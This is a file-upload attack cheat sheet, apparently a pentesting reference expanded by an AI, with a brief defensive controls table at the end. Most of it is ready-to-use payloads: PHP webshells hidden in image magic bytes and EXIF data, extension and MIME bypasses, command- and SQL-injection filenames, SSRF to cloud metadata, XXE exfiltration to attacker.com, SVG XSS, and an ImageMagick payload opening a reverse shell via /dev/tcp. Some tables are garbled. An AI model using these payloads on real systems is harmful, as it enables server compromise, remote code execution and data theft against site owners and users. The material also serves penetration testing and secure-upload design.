First author: Shubham Rooter
Enhanced & Corrected version — by Claude Sonnet 4.6. additions and fixes are marked with[ADDED]or[FIXED].
[ADDED][ADDED][ADDED][ADDED]| Extension(s) | Potential Impact |
|---|---|
.asp, .aspx, .php, .php3, .php5 |
Webshell, Remote Code Execution (RCE) |
.svg |
Stored XSS, SSRF, XXE |
.gif |
Stored XSS, SSRF |
.csv |
CSV / Formula Injection |
.xml |
XXE |
.avi |
LFI, SSRF |
.html, .js |
HTML Injection, XSS, Open Redirect |
.png, .jpeg |
Pixel Flood Attack (DoS) |
.zip |
RCE via LFI, DoS, Zip Slip |
.pdf, .pptx |
SSRF, Blind XXE |
.config, web.config |
[ADDED] RCE on IIS servers (overwrite web.config to execute ASP) |
.htaccess |
[ADDED] RCE on Apache (redefine MIME handler for arbitrary extensions) |
If the server blacklists specific extensions, try these alternate extensions that may still execute:
PHP variants:
.phtm .phtml .phps .pht .php2 .php3 .php4 .php5
.shtml .phar .pgif .inc
ASP variants:
.asp .aspx .cer .asa
JSP variants:
.jsp .jspx .jsw .jsv .jspf
ColdFusion variants:
.cfm .cfml .cfc .dbm
Case randomization:
.pHp .pHP5 .PhAr
If the server only allows specific extensions (e.g., .jpg), attempt:
file.jpg.php
file.php.jpg
file.php.blah123jpg
file.php%00.jpg # Null byte — truncates at %00, server may see .jpg but execute .php
file.php\x00.jpg # Hex null byte — rename file.phpD.jpg and change 44→00 in a hex editor
file.php%00
file.php%20 # Trailing space — stripped on Windows
file.php%0d%0a.jpg # CRLF injection
file.php..... # Trailing dots — stripped on Windows
file.php/
file.php.\
file.php#.png # Fragment identifier trick
file. # Trailing dot
.html
[ADDED] Right-to-Left Override (RTLO):
name.%E2%80%AEphp.jpg # Renders visually as name.gpj.php — extension hidden from user view
Change the Content-Type header in the HTTP request to a trusted MIME type while keeping the malicious payload:
# Original (blocked):
Content-Type: application/x-php
# Replace with any of:
Content-Type: image/png
Content-Type: image/gif
Content-Type: image/jpeg
Content-Type: image/jpg
Content-Type: image/webp # [ADDED]
Small PHP shell that may evade length-based checks:
<?=`$_GET[x]`?>
Content-with-GIF-header bypass (tricks content scanners checking for image headers):
GIF89a; <?php system($_GET['cmd']); ?>
[ADDED] Setting Content-Type twice in the request:
Some parsers read only the first header; send the allowed type first, the malicious type second (or vice versa depending on parser behavior).
Magic bytes (file signatures) are the first bytes of a file used to identify its type — independently of the extension.
Common magic bytes:
| Format | Magic Bytes (hex) | ASCII |
|---|---|---|
| JPEG | FF D8 FF |
ÿØÿ |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
‰PNG.... |
| GIF87a | 47 49 46 38 37 61 |
GIF87a |
| GIF89a | 47 49 46 38 39 61 |
GIF89a |
25 50 44 46 |
%PDF |
|
| ZIP | 50 4B 03 04 |
PK.. |
[ADDED] BMP |
42 4D |
BM |
[ADDED] PSD |
38 42 50 53 |
8BPS |
Full reference: https://en.wikipedia.org/wiki/List_of_file_signatures
Tools:
# Inspect magic bytes
xxd image.jpeg | head
# Install hex editor
sudo apt-get install hexedit
# Open file in hex editor
hexeditor image.png
# Move cursor to byte → type new value → Ctrl+X → Y to save
Craft a PHP shell with JPEG magic bytes:
echo -n -e '\xFF\xD8\xFF\xE0\n<?php system($_GET["cmd"]); ?>' > shell.jpg.pHp
# or
echo -e $'\xFF\xD8\xFF\xE0\n<?php system($_GET["cmd"]); ?>' > shell.jpg.pHp
# Verify it looks like a JPEG to the OS:
file shell.jpg.pHp
# Output: shell.jpg.pHp: JPEG image data
How to determine what the uploader validates:
.jpg → still blocked? → not checking extension only.image/jpeg → still blocked? → not checking Content-Type only..php fails → it’s checking magic bytes → use the technique above.For uploads validated with PHP getimagesize(), shellcode can be hidden in EXIF metadata:
# Inject PHP into the EXIF Comment field
exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' file.jpg
# Rename to a PHP-executing extension
mv file.jpg file.php.jpg
The image passes getimagesize() checks because the JPEG structure is valid; the PHP is embedded in metadata that gets executed when the file is parsed by the PHP engine.
Manipulate the filename to write files outside the intended upload directory:
../../etc/passwd/logo.png
../../../logo.png # May overwrite assets like a site logo
../../index.php # [ADDED] Overwrite application files directly
[ADDED] Windows-specific:
..\..\..\windows\win.ini
If the filename is stored in a database without sanitization:
'sleep(10).jpg # Blind SQLi — time-based
sleep(10)-- -.jpg
' OR '1'='1.jpg # [ADDED] Boolean-based
If the filename is passed to a shell command (e.g., system("convert " . $filename)):
; sleep 10;
| whoami
`id`.jpg
$(id).jpg # [ADDED]
& ping -c 10 127.0.0.1 # [ADDED] Windows/Linux
Via “Upload from URL” feature:
http://169.254.169.254/latest/meta-data/ (AWS metadata) instead of an external image.Via .svg file upload:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="200" height="200">
<image height="200" width="200" xlink:href="https://attacker.com/picture.jpg" />
</svg>
[ADDED] Cloud metadata targets:
http://169.254.169.254/latest/meta-data/ # AWS
http://metadata.google.internal/computeMetadata/ # GCP
http://169.254.169.254/metadata/instance # Azure
Targets applications that process images with ImageMagick (CVE-2016-3714 and variants).
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1|touch "hello)'
pop graphic-context
[ADDED] Policy bypass variant (newer ImageMagick versions):
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
SVG — read local file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.1">
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>
SVG — execute command via expect:// wrapper:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
[ADDED] SVG — out-of-band (OOB) exfiltration:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<svg xmlns="http://www.w3.org/2000/svg"><rect width="1" height="1"/></svg>
Via Excel/Office files:
Embed XXE payloads inside xl/workbook.xml or word/document.xml within a .xlsx / .docx (ZIP archive).
📚 Lab: https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload
Malicious filename (stored XSS if filename is reflected in the UI):
filename="<svg onload=alert(document.domain)>"
filename="58832_300x300.jpg<svg onload=confirm()>"
GIF with embedded XSS:
GIF89a *<svg/onload=alert(1)>*/=alert(document.domain)//;
SVG — inline event handler:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
SVG — script tag:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS");
</script>
</svg>
📚 Reference: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#xss-uploading-files-svg
📚 Reference: https://brutelogic.com.br/blog/file-upload-xss/
Via .svg file:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
| Technique | Example |
|---|---|
| Double extension | file.jpg.php, file.png.php5 |
| Reverse double extension | file.php.jpg (Apache executes left-most .php) |
| Random case | .pHp, .pHP5, .PhAr |
| Null byte (URL-encoded) | file.php%00.gif, file.php%00.png, file.php%00.jpg |
| Null byte (hex) | file.php\x00.gif, file.php\x00.png, file.php\x00.jpg |
| Trailing space | file.php%20 |
| CRLF | file.php%0d%0a.jpg, file.php%0a |
| Trailing dots (Windows strips them) | file.php...... |
| Slash variants | file.php/, file.php.\, file.j\sp, file.j/sp |
| Multiple special chars | file.jsp/././././. |
| RTLO (Right-to-Left Override) | name.%E2%80%AEphp.jpg → displays as name.gpj.php |
| NTFS ADS (Windows) | file.asax:.jpg → creates empty .asax, edit separately |
NTFS $data stream |
file.asp::$data. |
MIME type spoofing:
Content-Type: image/gif
Content-Type: image/png
Content-Type: image/jpeg
Wordlist:
SecLists/Discovery/Web-Content/content-type.txt
Magic bytes prepend:
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a OR GIF89a
Upload a specially crafted PNG/JPEG with an absurd canvas size declared in its header (e.g., 100,000×100,000 px). When the server tries to decompress/render the image, it exhausts memory.
12345678901234567890...99.png # Filename exceeds buffer limits
../../var/www/html/shell.php.zip file.https://site.com/path?page=zip://path/file.zip%23rce.phpweb.config / .js Config FilesOn IIS servers, a malicious web.config can instruct the server to treat any extension (e.g., .jpg) as an executable ASPX handler, enabling RCE.
.htaccess Upload Bypass [ADDED]On Apache servers, uploading a .htaccess file can redefine how extensions are handled:
# Makes the server execute .jpg files as PHP
AddType application/x-httpd-php .jpg
Attack flow:
.htaccess with the above content (if the upload directory is served by Apache and .htaccess is allowed).shell.jpg containing PHP code.shell.jpg — Apache executes it as PHP.Why it works: AllowOverride All (common in dev environments) lets per-directory .htaccess files override server configuration.
[ADDED]Some upload endpoints:
Attack: Send the upload request and immediately (in parallel) send GET requests to the temporary file path before the server deletes it.
# Example with Turbo Intruder or a script:
# Thread 1 — upload shell.php repeatedly
# Thread 2 — request /uploads/shell.php repeatedly
# If timing aligns, the shell executes before deletion
Tools: Burp Suite Turbo Intruder, ffuf, custom Python threading scripts.
[ADDED]A polyglot is a single file that is simultaneously valid in two different formats. This defeats content-aware validators that check both magic bytes and file structure.
JPEG + PHP polyglot:
# The file is a valid JPEG AND contains executable PHP
echo -n -e '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00' > poly.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> poly.php.jpg
PDF + JavaScript polyglot:
A PDF can contain embedded JavaScript that executes in the browser when rendered inline, enabling XSS even through strict image validators.
ZIP + JPEG polyglot:
A file can have a JPEG header but be a valid ZIP archive simultaneously (append ZIP to end of JPEG — ZIP is parsed from the end). Useful for Zip Slip through image validators.
Use this sequence when testing an upload endpoint:
image.jpg). Confirm it works and note where/how it’s served.shell.php directly. Note the rejection method.shell.jpg.php and shell.php.jpg.shell.php, change Content-Type to image/jpeg.shell.PhP, shell.php5, shell.pHP5.shell.php%00.jpg, shell.php%0a, shell.php%00.shell.php.jpg.FF D8 FF E0) to a PHP shell; upload as shell.jpg.pHp..htaccess — Upload .htaccess redefining .jpg as PHP; then upload shell.jpg.The following PHP code only checks magic bytes and can be bypassed by prepending the expected bytes to any payload:
<?php
$allowed_image_types = false;
$image_content = file_get_contents('image.png'); // [FIXED] was: $image_content missing $
$allowed_image_types = array(
'jpeg' => "\xFF\xD8\xFF",
'gif' => "GIF",
'png' => "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a",
'bmp' => "BM",
'psd' => "8BPS",
'swf' => "FWS",
);
foreach ($allowed_image_types as $allowed_image_type => $allowed_binary_check) {
// [FIXED] Original code used bare `image_content` — missing $ sigil, causes PHP notice/error
if (substr($image_content, 0, strlen($allowed_binary_check)) === $allowed_binary_check) {
echo 'This ' . $allowed_image_type . ' image is allowed!';
} else {
echo 'Nope!';
}
}
?>
Why this is insufficient:
[ADDED]| Control | Description |
|---|---|
| Allowlist extensions | Only permit specific, known-safe extensions. Never blacklist. |
| Validate MIME type server-side | Don’t trust Content-Type header — detect MIME from file content using a library (e.g., finfo_file() in PHP, python-magic). |
| Validate file structure | For images, use getimagesize() + re-encode with GD/Pillow to strip non-image data. |
| Store outside web root | Upload directory should not be directly accessible via HTTP. Serve files through a script. |
| Randomize filenames | Replace user-supplied filenames with a random UUID. Prevents filename-based injection. |
| Disable script execution in upload directory | Apache: Options -ExecCGI, deny .php handler. Nginx: skip PHP-FPM for upload paths. Block .htaccess overrides with AllowOverride None. |
| Scan with antivirus / content inspection | Run uploaded files through ClamAV or cloud-based malware scanning. |
| Enforce file size limits | Prevent DoS via large file uploads and pixel flood attacks. |
| Use a separate domain / CDN for uploads | Serve user-uploaded content from a sandboxed origin so XSS cannot access the main app’s cookies. |
| Set correct Content-Disposition | Serve files with Content-Disposition: attachment to prevent inline browser execution. |
Set Content-Security-Policy |
Limit script sources to prevent XSS from SVG or HTML uploads. |
| Sanitize filenames before DB storage | Prevent SQL injection and command injection from filename values. |
[ADDED][ADDED]| *Author: Shubham Rooter | Enhanced version with corrections and additions.* |